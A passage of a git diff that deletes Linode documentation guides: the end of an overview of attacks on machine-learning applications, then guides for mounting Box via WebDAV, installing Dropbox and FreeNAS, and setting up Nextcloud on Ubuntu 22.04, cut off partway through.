patterns of access. - -## Sabotage - -Sabotage performs deliberate and malicious actions to disrupt normal processes, so that even if the data isn’t corrupted, biased, or damaged in some way, the underlying processes don’t interact with it correctly. Often, sabotage is highly detectable, but at the moment of detection, it’s already too late to do anything about it. [Financial institutions are particularly susceptible to sabotage](https://gizmodo.com/banks-using-ai-are-ripe-for-russian-sabotage-report-1848687118) due to the incredible amounts of data used to create and manage models. In addition, sabotage is often hard to fix because the underlying data must be remediated first and then the model rebuilt. - -## Fraud - -Fraud occurs when hackers rely on various techniques, such as phishing or communications from unknown sources, to undermine system, application, or data security in a secretive manner. This level of access can allow for unauthorized or unpaid use of the application and influence ways in which the results are used, such as providing false election projections. Fortunately, there is a lot of research pending that also uses [machine learning techniques to detect and help mitigate fraud](https://spd.group/machine-learning/fraud-detection-with-machine-learning/). - -## Conclusion - -Before adding ML to your project, you should know about the types of cyber attacks that are frequently targeted at machine learning powered applications. Evasion, poisoning, and inference are some of the most common attacks targeted at ML applications. Trojans, backdoors, and espionage are used to attack all types of applications, but they are used in specialized ways against machine learning. Now that you are familiar with the cyber attacks to look out for, you can get started creating an ML powered application, by [installing TensorFlow on Ubuntu 20.04](/cloud/guides/how-to-install-tensorflow/). - - diff --git a/docs/guides/applications/cloud-storage/access-your-box-account-from-your-linode/index.md b/docs/guides/applications/cloud-storage/access-your-box-account-from-your-linode/index.md deleted file mode 100644 index b637c2454b0..00000000000 --- a/docs/guides/applications/cloud-storage/access-your-box-account-from-your-linode/index.md +++ /dev/null @@ -1,129 +0,0 @@ ---- -slug: access-your-box-account-from-your-linode -title: 'Access Your Box.com Account from Your Linode' -description: 'Box is a popular cloud storage and file sharing service. This article will show you how to access your Box account from your Linode using WebDAV.' -authors: ["Tyler Nelson"] -contributors: ["Tyler Nelson"] -published: 2015-11-06 -keywords: ["box", "box.com", "cloud", "cloud storage", "file storage", "file", "webdav", "davfs", "davfs2"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/applications/cloud-storage/access-your-box-account-from-your-linode/'] ---- - -If you've discovered [Box](https://www.box.com/) then you know that it can be a great tool for storage, moving and managing files. The following tutorial helps you install and configure a free piece of software that facilitates Box access from your Linode. - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -{{< note >}} -This guide requires having a Box account. -{{< /note >}} - -## Set Box's Mount Point - -The following step will create an empty directory where Box will live and all of your Box files and folders will appear. You can mount it anywhere, but `/home/example_user/box` will be used for this guide. - -1. Create a mount point: - - mkdir ~/box - - {{< note respectIndent=false >}} -If only your `example_user` needs access to the Box account contents, making the mount point in that user's `/home` directory will be fine. If multiple system users (other than root) need access to the Box account, then the mount point should be placed in a system directory such as `/mnt/box`. For more info, see [the davfs man page](http://linux.die.net/man/8/mount.davfs). -{{< /note >}} - -2. Add Box to fstab. - - The fstab (or file systems table) file is a system configuration file commonly found at `/etc/fstab`. It contains the necessary information to automate the process of mounting. Add an entry for your Box account: - - {{< file "/etc/fstab" >}} -https://dav.box.com/dav /home/example_user/box davfs rw,user,noauto 0 0 -{{< /file >}} - - -## Configure WebDAV and User Permissions - -1. Install davfs2, the WebDAV backend which is used to communicate between your Linode and Box account: - - **CentOS** - - sudo yum install davfs2 - - - **Debian / Ubuntu** - - sudo apt-get install davfs2 - - When asked if unprivileged users should be allowed to mount WebDAV resources, choose `Yes`. - - **Fedora** - - sudo dnf install davfs2 - -2. Give your user permission to mount using davfs2. Replace `example_user` with your user name. - - sudo usermod -aG davfs2 "example_user" - -3. Reboot your distro. This is the best way to be sure there are no user sessions lingering open. If there are, you'll experience problems mounting the Box drive even after adding your user to the proper group. - - sudo reboot - -4. SSH back into your Linode. - -5. The WebDAV share exported by Box.com does not support file locks. Thus, you need to disable file locks in the davfs2 configuration file. Otherwise, you will encounter "Input/output error" while attempting to create a file. - - echo 'use_locks 0' >> ~/.davfs2/davfs2.conf - -6. Add your Box account info to WebDAV's secrets file, replacing both `email` with the email address you use to log in to your Box account and `password` with your Box password. - - echo 'https://dav.box.com/dav email password' >> ~/.davfs2/secrets - - {{< note respectIndent=false >}} -If your password contains quotation characters (`'` or `"`), you'll need to edit the secrets file directly in a text editor. -{{< /note >}} - -7. Make the `secrets` file readable to only its owner: - - chmod 600 ~/.davfs2/secrets - -## Mounting and Unmounting Your Box Drive - -1. To mount and change into its directory: - - mount ~/box - -2. To unmount: - - umount ~/box - -## Wrapping Up - -To confirm that your Box drive is mounted: - - df - -The output should look similar to this: - -{{< output >}} -Filesystem 1K-blocks Used Available Use% Mounted on -/dev/root 4122048 886316 3009636 23% / -devtmpfs 505636 0 505636 0% /dev -tmpfs 507504 0 507504 0% /dev/shm -tmpfs 507504 1420 506084 1% /run -tmpfs 507504 0 507504 0% /sys/fs/cgroup -tmpfs 507504 0 507504 0% /tmp -tmpfs 101504 0 101504 0% /run/user/1000 -https://dav.box.com/dav 10485756 72 10485684 1% /home/example_user/box -{{< /output >}} - -To see the mount options with which your Box drive is mounted: - - cat /proc/mounts | grep box - -The output should show the following: - - https://dav.box.com/dav /home/example_user/box fuse rw,nosuid,nodev,noexec,relatime,user_id=1000,group_id=1000,allow_other,max_read=16384 0 0 - -You're done! The directory `~/box` will now reflect your Box contents! The first time you access the folder it may take a few minutes for the contents to synchronize. After that, folder access is almost immediate. diff --git a/docs/guides/applications/cloud-storage/dropbox/index.md b/docs/guides/applications/cloud-storage/dropbox/index.md deleted file mode 100644 index b118e64e418..00000000000 --- a/docs/guides/applications/cloud-storage/dropbox/index.md +++ /dev/null @@ -1,77 +0,0 @@ ---- -slug: dropbox -title: 'Installing and Configuring Dropbox' -description: 'Installing and configuration Dropbox on a Linode' -authors: ["Linode"] -contributors: ["Linode"] -published: 2014-04-30 -modified: 2015-06-29 -keywords: ["Dropbox", "debian", "centos", "fedora", "ubuntu", "headless", "storage", "cloud storage"] -tags: ["ubuntu", "debian", "centos", "fedora"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/applications/cloud-storage/dropbox/','/web-applications/cloud-storage/dropbox/debian-7.4/'] ---- - -![Installing and Configuring Dropbox](installing-and-configuring-dropbox.png "Installing and Configuring Dropbox") - -Dropbox allows for the storage of your documents, files, videos, and photographs. Whatever you choose to store will be available on the Dropbox website, as well as any computers, phones, or servers you have the Dropbox application installed. - -Prior to setting up Dropbox on your Linode it is recommended to follow the [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide. You will need a [Dropbox account](https://www.dropbox.com/). Dropbox can be used on Debian, Ubuntu, and any Red Hat Enterprise Linux-based OS. - -## Installing Dependencies - -When installing Dropbox on the latest modern Distros, the installation of a few dependencies are required before proceeding. Enter the corresponding command for the distro you are using to install these dependencies: - -**Debian and Ubuntu** - - sudo apt install libc6 libglapi-mesa libxdamage1 libxfixes3 libxcb-glx0 libxcb-dri2-0 libxcb-dri3-0 libxcb-present0 libxcb-sync1 libxshmfence1 libxxf86vm1 - -**CentOS** - - yum install tar wget libglapi libXext libXdamage libxshmfence libXxf86vm - - - -## Installing and Configuring Dropbox - -1. Download and install the Dropbox package: - - cd ~ && wget -O - "https://www.dropbox.com/download?plat=lnx.x86_64" | tar xzf - - -2. Start the Dropbox daemon: - - ~/.dropbox-dist/dropboxd & - -3. You will receive a message stating that the computer is not linked to your Dropbox account: - - This computer isn't linked to any Dropbox account... - Please visit https://www.dropbox.com/cli_xxxxxxx to link this device. - - Copy the unique URL. Do not copy the one above. - -4. Paste the address above into a web browser and log in to your Dropbox account. You should see the following message in your browser: - - Your computer was successfully linked to your account - - The terminal window on your Linode will show the following message: - - This computer is now linked to Dropbox. Welcome User - - -## Testing the Link - -Any files made within your `Dropbox` directory on your Linode will also be added to Dropbox. - -1. Navigate to your Dropbox folder: - - cd ~/Dropbox - -2. Echo text into a new file: - - echo "testing...." > dropbox-test.txt - -3. Open your Dropbox account in your web browser. `dropbox-test.txt` can now be found in your files! - -Congratulations! Your Linode is now configured to run Dropbox. - - diff --git a/docs/guides/applications/cloud-storage/freenas-blockstorage/index.md b/docs/guides/applications/cloud-storage/freenas-blockstorage/index.md deleted file mode 100644 index e717cf71fbc..00000000000 --- a/docs/guides/applications/cloud-storage/freenas-blockstorage/index.md +++ /dev/null @@ -1,160 +0,0 @@ ---- -slug: freenas-blockstorage -title: "Install FreeNAS on a Linode with Block Storage" -description: "FreeNAS is network-attached storage software configured through a web interface. Learn how to install FreeNAS and connect it to a Block Storage Volume." -authors: ["Edward Angert"] -contributors: ["Edward Angert"] -published: 2018-05-07 -modified: 2018-05-17 -keywords: ["zfs","freenas","block storage","nas"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[FreeNAS Volume Manager Manual](http://doc.freenas.org/11/storage.html)' - - '[Available FreeNAS Plugins](http://doc.freenas.org/11/plugins.html#available-plugins)' -aliases: ['/applications/cloud-storage/freenas-blockstorage/'] ---- - -Network-attached storage (NAS) allows multiple client devices to access the connected storage media as though it's stored locally to the device. FreeNAS is FreeBSD-based NAS software, configurable via a browser interface. - -This guides shows how to install FreeNAS on a Linode and attach a [Block Storage Volume](https://techdocs.akamai.com/cloud-computing/docs/block-storage) so that you can access both FreeNAS and the Storage Volume from your computer, phone, or tablet almost anywhere in the world. -{{< note type="alert" >}} -FreeNAS is not officially supported by Linode at this time. This means that features like the [Linode Backup Service](https://techdocs.akamai.com/cloud-computing/docs/backup-service) and Lish will be unavailable to you. - -Any issues you may encounter with FreeNAS on your Linode are outside the scope of Linode Support. For further help with this guide's subject, you can ask questions on the [Linode Community Site](https://www.linode.com/community/questions/). -{{< /note >}} - -## Prepare Your Linode - -1. Create a Linode in your preferred data center. Ensure that your Linode has at least 8GB RAM and at least 11GB of available disk space. FreeNAS recommends 16GB of RAM for media servers. Visit the [official requirements](http://www.freenas.org/hardware-requirements/) for more information. - -2. Disable the [Lassie Shutdown Watchdog](https://techdocs.akamai.com/cloud-computing/docs/recover-from-unexpected-shutdowns-with-lassie) to prevent it from attempting to restart your Linode without your input. You can disable Lassie in the **Settings** tab of the Linode Manager under **Shutdown Watchdog**. - -3. [Create two disks](https://techdocs.akamai.com/cloud-computing/docs/manage-disks-on-a-compute-instance#create-a-disk): - - 1. **Label:** Installer - * **Type:** unformatted / raw - * **Size:** 1024 - - 2. **Label:** FreeNAS - * **Type:** unformatted / raw - * **Size:** Can be set to use remaining disk. At least 10240MB - -4. [Create two configuration profiles](https://techdocs.akamai.com/cloud-computing/docs/manage-configuration-profiles-on-a-compute-instance#create-a-configuration-profile) with the following settings. In each profile, disable all of the options under **Filesystem/Boot Helpers**. - - 1. **Label:** Installer - * **Kernel:** Direct Disk - * **/dev/sda:** FreeNAS - * **/dev/sdb:** Installer - * **root / boot device:** Standard /dev/sdb - * **Filesystem/Boot Helpers:** Select No for each Helper - - 2. **Label:** FreeNAS - * **Kernel:** Direct Disk - * **/dev/sda:** FreeNAS - * **root / boot device:** Standard /dev/sda - * **Filesystem/Boot Helpers:** Select No for each Helper - -## Create an Installer Disk - -1. Boot into **Rescue Mode** with the installer disk mounted to `/dev/sda` and access your Linode using [Lish](https://techdocs.akamai.com/cloud-computing/docs/access-your-system-console-using-lish) from the dashboard of your Linode from the Linode Cloud Manager. - -2. Once in Rescue Mode, run the following command to set the [latest FreeNAS release](http://www.freenas.org/download-freenas-release/) (11.1 at the time of this writing) as a variable: - - iso=https://download.freenas.org/11/latest/x64/FreeNAS-11.1-U4.iso - -3. Run the `update-ca-certificates` program to allow the secure download: - - update-ca-certificates - -4. Download the FreeNAS ISO image and expand it to the Installer disk: - - curl $iso | dd of=/dev/sda - -5. When the command finishes, reboot into the **Installer profile**: - - ![Screenshot of the Dashboard, ready to reboot into the Installer profile.](reboot-installer-profile.png "Screenshot of the Dashboard, ready to reboot into the Installer profile.") - -6. Go to the Linode Cloud Manager and access the dashboard for your Linode. - -7. Click the **Launch Console** link to access the [Glish](https://techdocs.akamai.com/cloud-computing/docs/access-your-desktop-environment-using-glish) console and start the installation. - -## Install FreeNAS - -1. Press **Enter** to Install/Upgrade. -2. Press the **Spacebar** to select the FreeNAS disk (`da0` in this screenshot) and press **Enter**: - - ![Select the FreeNAS disk](freenas-installation-select-disk.png "Select the FreeNAS disk.") - -3. The installation shows a warning that all data on the disk will be deleted. Press **Enter** to continue. -4. Enter a root password, tab to the next field to re-enter it, and press **Enter** to continue. -5. Press **Enter** to Boot via BIOS. -6. There's no media to remove. Press **Enter** to acknowledge the successful installation message. -7. Press **4** to select Shutdown System, and press **Enter** to end the session. Close the Glish window. -8. In the Manager, shut the Linode down. - -## Boot and Configure FreeNAS - -1. Select the FreeNAS configuration profile, and click **Boot**: - - ![Screenshot of the Dashboard, ready to reboot into the FreeNAS profile.](reboot-freenas-profile.png "Screenshot of the Dashboard, ready to reboot into the FreeNAS profile.") - - SSH and Lish are disabled in FreeNAS. Use Glish to monitor the first boot which takes several minutes. Once booted, close Glish and proceed to the next step to use the web interface for configuration. - -2. Use a web browser to navigate to the Linode's IP address. Log in with the user `root` and the password set in Step 4 of the previous section. Close any popup menu that appears when you first log in. - -3. Click the **Network** icon and complete the network information using the Default Gateways and DNS Resolvers found in the Networking tab of the Linode Cloud Manager. Use the DNS Resolvers information to fill in the Nameserver fields. Click **Save** before continuing. - -4. Select the **Interfaces** section of the Network tab, and click **Add Interface**. Name the interface and enable DHCP, then click **OK**. - -## Add a Block Storage Volume to FreeNAS - -1. [Add or attach a Block Storage Volume](https://techdocs.akamai.com/cloud-computing/docs/manage-block-storage-volumes) to the Linode. After you attach your Block Storage Volume, the Linode Manager will present command-line instructions for mounting it from your Linode, but you can disregard these. - -2. Reboot the Linode from the Linode Manager. After a few minutes, launch Glish from the dashboard again. You can monitor the reboot progress in Glish. - -### Format Block Storage Volume as ZFS -{{< note type="alert" >}} -Formatting will erase all data on the volume. -{{< /note >}} - -1. Log back into the web interface for FreeNAS. - -2. Click the **Storage** icon at the top, then **View Disks** to confirm that FreeNAS recognized the Block Storage Volume. - -3. Return to the **Storage** tab and click **Volume Manager**. Enter a Volume Name and under Available Disks click the **+** next to the Block Storage Volume. Below Volume layout, select **Stripe**. Click **Add Volume** to format and attach the Volume: - - ![Volume Manager - Add a Volume](freenas-storage-add-volume.png "Volume Manager - Add a Volume") - -### Set Permissions, Share the Volume, and Complete Configuration - -1. Click the Wizard icon: - - ![FreeNAS Wizard Icon](freenas-wizard-icon.png "FreeNAS Wizard Icon") - -2. Select your language, keyboard map, and timezone and click **Next**: - - ![Wizard Keyboard and Timezone Selection](freenas-wizard-lang-keyboard-timezone.png "Wizard Keyboard and Timezone Selection") - -3. When prompted for the Directory Service, press **Next** to skip the step. - -4. Enter a Share name and purpose. Click **Ownership** to configure the Permissions to allow the client to access and manage access. Visit the [official FreeNAS documentation](http://doc.freenas.org/11/storage.html#change-permissions) for more information about the available options. Click **Add**, then **Next** to continue. - -5. Configure e-mail notification settings or press **Next** to skip and continue. - -6. Press **Confirm** and the Wizard will complete the remaining configuration. - -## Enable SSH Root Login (Optional) - -FreeNAS has SSH disabled by default. This is a more secure configuration, but makes it difficult to troubleshoot issues from the command line. - -1. Click the **Services** icon, then the wrench icon on the SSH line: - - ![FreeNAS Services](freenas-services.png "FreeNAS Services") - -2. Check **Login as Root with password** and press **OK**. Check **Start on Boot** if you would like to keep the setting enabled through future reboots. Click **Start Now**. - - Use the same username and password as for the web interface. - -## Next Steps - -Now that FreeNAS is running connected to your Block Storage Volume, you can [connect to it from your local machine](http://doc.freenas.org/11/sharing.html), to a [Plex server](http://www.freenas.org/blog/plex-on-freenas/), or a variety of other platforms using [plugins](http://doc.freenas.org/11/plugins.html#available-plugins). diff --git a/docs/guides/applications/cloud-storage/how-to-install-nextcloud-on-ubuntu-22-04/index.md b/docs/guides/applications/cloud-storage/how-to-install-nextcloud-on-ubuntu-22-04/index.md deleted file mode 100644 index 8b5373c2011..00000000000 --- a/docs/guides/applications/cloud-storage/how-to-install-nextcloud-on-ubuntu-22-04/index.md +++ /dev/null @@ -1,597 +0,0 @@ ---- -slug: how-to-install-nextcloud-on-ubuntu-22-04 -title: "Install Nextcloud on Ubuntu 22.04" -title_meta: "How to Install Nextcloud on Ubuntu 22.04" -description: 'This guide introduces the productivity website Nextcloud and explains how to install and configure it on Ubuntu 22.04.' -authors: ["Jeff Novotny"] -contributors: ["Jeff Novotny"] -published: 2022-06-07 -modified: 2022-11-28 -keywords: ['Nextcloud Ubuntu','what is Nextcloud','how to install nextcloud','Ubuntu configure Nextcloud','download Nextcloud Ubuntu'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Nextcloud website](https://nextcloud.com/)' -- '[Nextcloud documentation](https://docs.nextcloud.com/server/24/admin_manual/contents.html)' -- '[Nextcloud app store](https://apps.nextcloud.com/)' -- '[Nextcloud competitive analysis](https://nextcloud.com/compare/)' -- '[Nextcloud installation page](https://nextcloud.com/install/)' -- '[Nextcloud changelog and archive](https://nextcloud.com/changelog/)' -- '[Apache Documentation](https://httpd.apache.org/docs/2.4/)' -- '[PHP time zones](https://www.php.net/manual/en/timezones.php)' -- '[MariaDB Server Documentation](https://mariadb.com/kb/en/documentation/)' -- '[Certbot](https://certbot.eff.org/)' -- '[Lets Encrypt](https://letsencrypt.org/)' -- '[ISO Alpha-2 country codes](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)' -relations: - platform: - key: install-nextcloud - keywords: - - distribution: Ubuntu 22.04 ---- - -[Nextcloud](https://nextcloud.com/) is a free and open source application for storing and sharing files. It allows approved users to access documents and pictures online from a central location. Nextcloud is considered a strong alternative to Dropbox and Google Drive. This guide explains how to download, install, and configure Nextcloud on Ubuntu 22.04 LTS. It also explains how to configure an Ubuntu LAMP stack to support Nextcloud. - -## What is Nextcloud? - -Nextcloud advertises itself as a safe home for user data and documents. Developed with an open source philosophy in mind, Nextcloud provides users with much more control and flexibility than the alternatives. Some of the main advantages of Nextcloud include: - -- Users can host documents on their own server and do not have to rely on other vendors for hosting. -- Finely-grained file access and sharing controls, along with workflow and audit logs. -- Included full-text search engine that can query the entire collection of files. -- Able to monitor and record all data exchanges and communications. -- Offers end-to-end client side encryption and key handling. -- Includes real-time notifications, comments, and multi-user editing. -- Prioritizes security through third-party reviews and a well-funded Security Bug Bounty program. -- Works together with the developer and user communities to develop, optimize, and test new features. -- Has an [app store](https://apps.nextcloud.com/) where users can download additional extensions and customizations. - -See the [Nextcloud feature comparison](https://nextcloud.com/compare/) for a more complete analysis. For complete information on how to use Nextcloud, consult the [Nextcloud product documentation](https://docs.nextcloud.com/server/24/admin_manual/contents.html). - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. A LAMP Stack, including an Apache web server, a MariaDB/MySQL RDBMS, and the PHP programming language, must be installed before Nextcloud can be used. This guide includes instructions for installing the LAMP stack components. More information about installing a LAMP stack is available in the [Linode guide to installing a LAMP stack on Ubuntu 22.04](/cloud/guides/how-to-install-a-lamp-stack-on-ubuntu-22-04/). - -1. To properly use Nextcloud and secure the installation with HTTPS, configure a domain name for the server. For information on domain names and pointing the domain name to a Linode, see the [Linode DNS Manager guide](https://techdocs.akamai.com/cloud-computing/docs/dns-manager). - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you are not familiar with the `sudo` command, see the [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Installing the Nextcloud Prerequisites - -Nextcloud requires a LAMP stack to work properly. This section provides instructions on how to install the Apache web server, MariaDB RDBMS, and the PHP programming languages. While these instructions are geared towards Ubuntu 22.04 users, they are also broadly applicable to Ubuntu 20.04. - -{{< note >}} -Nextcloud only recently added support for PHP 8.1 in version 24. PHP 8.1 is the default PHP library package in Ubuntu 22.04. Earlier versions of Nextcloud must use PHP 7.4. This might require a downgrade of the local PHP packages. -{{< /note >}} - -### Installing the Apache Web Server - -To install and test an Apache web server on Ubuntu 22.04, follow these instructions. - -1. Update and upgrade the Ubuntu packages: - - ```command - sudo apt update && sudo apt upgrade - ``` - -1. Install the Apache web server using `apt`: - - ```command - sudo apt install apache2 - ``` - -1. Configure the `ufw` firewall to allow the `Apache Full` profile. This permits HTTP and HTTPS connections, enabling web access. `OpenSSH` connections must also be allowed. Enable `ufw` when all changes are complete. - - ```command - sudo ufw allow OpenSSH - sudo ufw allow in "Apache Full" - sudo ufw enable - ``` - - {{< note respectIndent=false >}} -The `Apache Full` profile permits HTTP and HTTPS traffic. To temporarily restrict web traffic to HTTP requests, use the `Apache` profile instead. The `Apache Secure` profile blocks HTTP requests and only permits HTTPS traffic through. Do not use this profile before enabling HTTPS on the server. - {{< /note >}} - -1. Verify the firewall settings using the `ufw status` command: - - ```command - sudo ufw status - ``` - - ```output - Status: active - - To Action From - -- ------ ---- - OpenSSH ALLOW Anywhere - Apache Full ALLOW Anywhere - OpenSSH (v6) ALLOW Anywhere (v6) - Apache Full (v6) ALLOW Anywhere (v6) - ``` - -1. Enable the `mpm_prefork` Apache module and disable `mpm_event`: - - ```command - sudo a2dismod mpm_event - sudo a2enmod mpm_prefork - ``` - -1. Restart Apache using the `systemctl` utility: - - ```command - sudo systemctl restart apache2 - ``` - -1. Ensure the web server is still active using `systemctl`: - - ```command - sudo systemctl status apache2 - ``` - -1. Visit the IP address of the web server and confirm the server is working properly: - - ```command - http://your_IP_address/ - ``` - - {{< note respectIndent=false >}} -Use the Linode Dashboard to find the IP address for the Ubuntu system. - {{< /note >}} - - The default Ubuntu/Apache2 welcome page appears in the browser. The page features the message "It works" and details some basic information about the server: - - ![Apache Welcome Page](Apache-Welcome-Page.png) - -For more information about configuring the Apache HTTP Server, see the [Apache Documentation](https://httpd.apache.org/docs/2.4/). - -### Installing the MariaDB RDBMS - -Nextcloud stores its information inside an RDBMS, such as MySQL or MariaDB. This guide uses MariaDB. MariaDB is very similar to MySQL, but it more closely follows the open source philosophy. MariaDB provides more features than MySQL does. It also has better performance and usability. - -To install MariaDB on Ubuntu 22.04, follow the steps in this example. - -1. Install MariaDB using `apt`: - - ```command - sudo apt install mariadb-server - ``` - -1. Verify the status of MariaDB to ensure it is installed correctly: - - ```command - sudo systemctl status mariadb - ``` - -1. Enable MariaDB in `systemctl` so it automatically activates upon server boot up: - - ```command - sudo systemctl enable mariadb - ``` - -1. Configure and secure MariaDB using the `mysql_secure_installation` utility: - - ```command - sudo mysql_secure_installation - ``` - - Enter your password. It is not necessary to switch to Unix socket authentication or change the root password. Answer `Y` to the following questions: - - - `Remove anonymous users?` - - `Disallow root login remotely?` - - `Remove test database and access to it?` - - `Reload privilege tables now?` - -For further information about MariaDB, consult the [MariaDB Server Documentation](https://mariadb.com/kb/en/documentation/). - -### Creating the Nextcloud database in MariaDB - -When MariaDB is installed, create a new database for Nextcloud to use. It is also necessary to create a user for the database and grant this user additional permissions. To configure the database, follow these instructions. - -1. Log into MariaDB as the `root` user. If you added a root password, provide it when requested. The MariaDB prompt appears. - - ```command - sudo mysql -u root - ``` - - ```output - Welcome to the MariaDB monitor. Commands end with ; or \g. - Your MariaDB connection id is 37 - Server version: 10.6.7-MariaDB-2ubuntu1.1 Ubuntu 22.04 - - Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. - - Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. - - MariaDB [(none)]> - ``` - -1. Create the `nextcloud` database. For this and all remaining commands, MariaDB should reply with `Query OK`. - - ```command - CREATE DATABASE nextcloud; - ``` - -1. Use the `SHOW DATABASES` command to ensure the database has been properly created: - - ```command - SHOW DATABASES; - ``` - - ```output - +--------------------+ - | Database | - +--------------------+ - | information_schema | - | mysql | - | nextcloud | - | performance_schema | - | sys | - +--------------------+ - 5 rows in set (0.001 sec) - ``` - -1. Create a user and grant them all rights to access the database. In place of `password`, provide a more secure password. - - ```command - GRANT ALL PRIVILEGES ON nextcloud.* TO 'nextcloud'@'localhost' IDENTIFIED BY 'password'; - ``` - -1. Flush the privileges to apply the recent changes: - - ```command - FLUSH PRIVILEGES; - ``` - -1. Exit the database: - - ```command - quit - ``` - -### Installing PHP and Other Components - -Nextcloud uses the PHP programming language. Nextcloud version 24 supports PHP release 8.1. This is also the default release of PHP in the Ubuntu packages, so the regular `php` package can be installed. However, PHP 7.4 is required to use earlier versions of Nextcloud. - -{{< note >}} -To install PHP 7.4, substitute `php7.4` in place of `php` for all packages. For example, `php-cli` becomes `php7.4-cli`. -{{< /note >}} - -To install PHP and the other required packages, use these commands. - -1. Install the core PHP package using `apt`: - - ```command - sudo apt install php - ``` - -1. Confirm the PHP release number: - - ```command - php -v - ``` - - ```output - PHP 8.1.2-1ubuntu2.6 (cli) (built: Sep 15 2022 11:30:49) (NTS) - ``` - -1. Install the remaining PHP components: - - ```command - sudo apt install php-apcu php-bcmath php-cli php-common php-curl php-gd php-gmp php-imagick php-intl php-mbstring php-mysql php-zip php-xml - ``` - -1. Enable the necessary PHP extensions: - - ```command - sudo phpenmod bcmath gmp imagick intl - ``` - -1. Install the `unzip` utility. This utility might already be installed on the system. - - ```command - sudo apt install unzip - ``` - -1. Install the `libmagic` package: - - ```command - sudo apt install libmagickcore-6.q16-6-extra - ``` - -## Downloading, Installing, and Configuring Nextcloud - -Nextcloud can be downloaded using `wget`. After unzipping the downloaded file, a virtual host must be created for Nextcloud. Some additional configurations and optimizations must also be applied to the system. - -### Downloading and Installing Nextcloud - -To download and install Nextcloud, follow these steps. - -1. Download Nextcloud using `wget`. To find the URL for the latest stable release of Nextcloud, visit the [Nextcloud installation page](https://nextcloud.com/install/). This page provides a link to the latest Nextcloud zip file. To locate a particular release of Nextcloud, consult the [Nextcloud changelog and archive](https://nextcloud.com/changelog/). The following example demonstrates how to download the Nextcloud release 24.0.1. - - ```command - wget https://download.nextcloud.com/server/releases/nextcloud-24.0.1.zip - ``` - -1. Unzip the archive. This creates a `nextcloud` folder in the same directory as the zip file. - - ```command - unzip nextcloud-24.0.1.zip - ``` - -1. **(Optional)** Delete or rename the archive after unzipping the contents. It is also possible to rename the `nextcloud` directory to a more meaningful name, such as `nextcloud.yourdomainname`. - -1. Change the folder permissions for the `nextcloud` directory: - - ```command - sudo chown -R www-data:www-data nextcloud - ``` - -1. Move the new directory to the server directory. The server directory usually defaults to `/var/www/html` on most servers. - - ```command - sudo mv nextcloud /var/www/html - ``` - -1. Disable the default Apache landing page: - - ```command - sudo a2dissite 000-default.conf - ``` - - {{< note respectIndent=false >}} -Ignore the advisory to reload Apache at this time. Apache should be reloaded later when all configuration is complete. - {{< /note >}} - -### Creating a Virtual Host File for Nextcloud - -This section explains how to configure a virtual host file for the Nextcloud application. The virtual host tells Apache how to handle and serve requests for the Nextcloud domain. - -1. Create a new file in the `etc/apache2/sites-available` directory and name the file `nextcloud.conf`: - - ```command - sudo nano /etc/apache2/sites-available/nextcloud.conf - ``` - -1. The file must include the following information. The `DocumentRoot` is the name of the server directory followed by `/nextcloud`. For the `ServerName` attribute, enter the actual name of the domain instead of `example.com`. Save the file when all changes have been made. - - ```file {title="/etc/apache2/sites-available/nextcloud.conf" lang="aconf"} - - DocumentRoot "/var/www/html/nextcloud" - ServerName example.com - - - Options MultiViews FollowSymlinks - AllowOverride All - Order allow,deny - Allow from all - - - TransferLog /var/log/apache2/nextcloud_access.log - ErrorLog /var/log/apache2/nextcloud_error.log - - - ``` - -1. Enable the site. Do not reload Apache yet. - - ```command - sudo a2ensite nextcloud.conf - ``` - - ```output - Enabling site nextcloud. - ``` - -### Optimizing PHP for Nextcloud - -The default PHP implementation is fine for most applications. But certain PHP settings must be adjusted to allow for peak Nextcloud performance and operations. To make the necessary adjustments, follow these steps. - -1. Edit the `php.ini` file and make the following changes. In some cases, the parameter might be commented out and must be uncommented. To uncomment a parameter, delete the `;` character at the start of the line. Leave the remaining lines unchanged. - - {{< note respectIndent=false >}} -To locate the correct timezone for the `date.timezone` parameter, consult the [PHP timezone documentation](https://www.php.net/manual/en/timezones.europe.php). - -If the server is running an earlier PHP release, substitute the actual release number in place of `8.1` in the filename. For example, to configure PHP 7.4, the filename is `/etc/php/7.4/apache2/php.ini` - {{< /note >}} - - ```command - sudo nano /etc/php/8.1/apache2/php.ini - ``` - - ```file {title="/etc/php/8.1/apache2/php.ini"} - max_execution_time = 360 - memory_limit = 512M - post_max_size = 200M - upload_max_filesize = 200M - date.timezone = Europe/London - opcache.enable=1 - opcache.memory_consumption=128 - opcache.interned_strings_buffer=8 - opcache.max_accelerated_files=10000 - opcache.revalidate_freq=1 - opcache.save_comments=1 - ``` - -1. Enable some additional Apache modules: - - ```command - sudo a2enmod dir env headers mime rewrite ssl - ``` - -1. Restart the Apache server: - - ```command - sudo systemctl restart apache2 - ``` - -1. Verify the Apache server status and ensure it is still `active`. If the server is in a failed state, examine the server error logs and make any necessary changes to the 